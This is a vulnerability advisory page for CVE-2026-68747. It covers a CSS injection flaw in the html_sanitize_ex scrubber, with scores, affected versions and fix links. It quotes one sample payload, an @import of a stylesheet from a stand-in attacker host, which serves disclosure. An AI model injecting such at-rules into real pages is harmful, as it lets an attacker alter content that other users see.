CVE-2026-68747
What it is
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
At a glance
- Exploitability
- Can be exploited over the network without logging in, but needs a user to act. Limited direct impact.
- Exploit odds
- 0.4% chance of exploitation in the next 30 days (EPSS).
- Fix
- A patch, advisory or fixed version is referenced. Upgrade or apply it.
Timeline
- PublishedDisclosed publicly on CVE.org and NVD
- Last updatedMost recent change to the record
Why it ranks here
- Exploited in the wild: no, CISA does not list it.
- Exploit odds: 0.4% in the next 30 days (EPSS).
- Severity: 2.3 LOW (CVSS).
- Fix: a patch or advisory is linked.
Details
- Published
- Last modified
- Exploit probability
- 0.4% · EPSS, next 30 days
- Weakness
- CWE-74
- Record status
- Modified
Affected
- Rrrene Htmlsanitizeex < 1.5.4
Attack profile CVSS 4.0 · 2.3
- Attack vector
- Network
- Complexity
- Low
- Attack requirements
- Present
- Privileges needed
- None
- User interaction
- Passive
- Confidentiality
- None
- Integrity
- None
- Availability
- None
Raw vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Is it in your code?
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Fix and advisories
- https://cna.erlef.org/cves/CVE-2026-68747.html
- https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308
- https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28
- https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7
- https://osv.dev/vulnerability/EEF-CVE-2026-68747
References
- https://cna.erlef.org/cves/CVE-2026-68747.html
- https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308
- https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28
- https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7
- https://osv.dev/vulnerability/EEF-CVE-2026-68747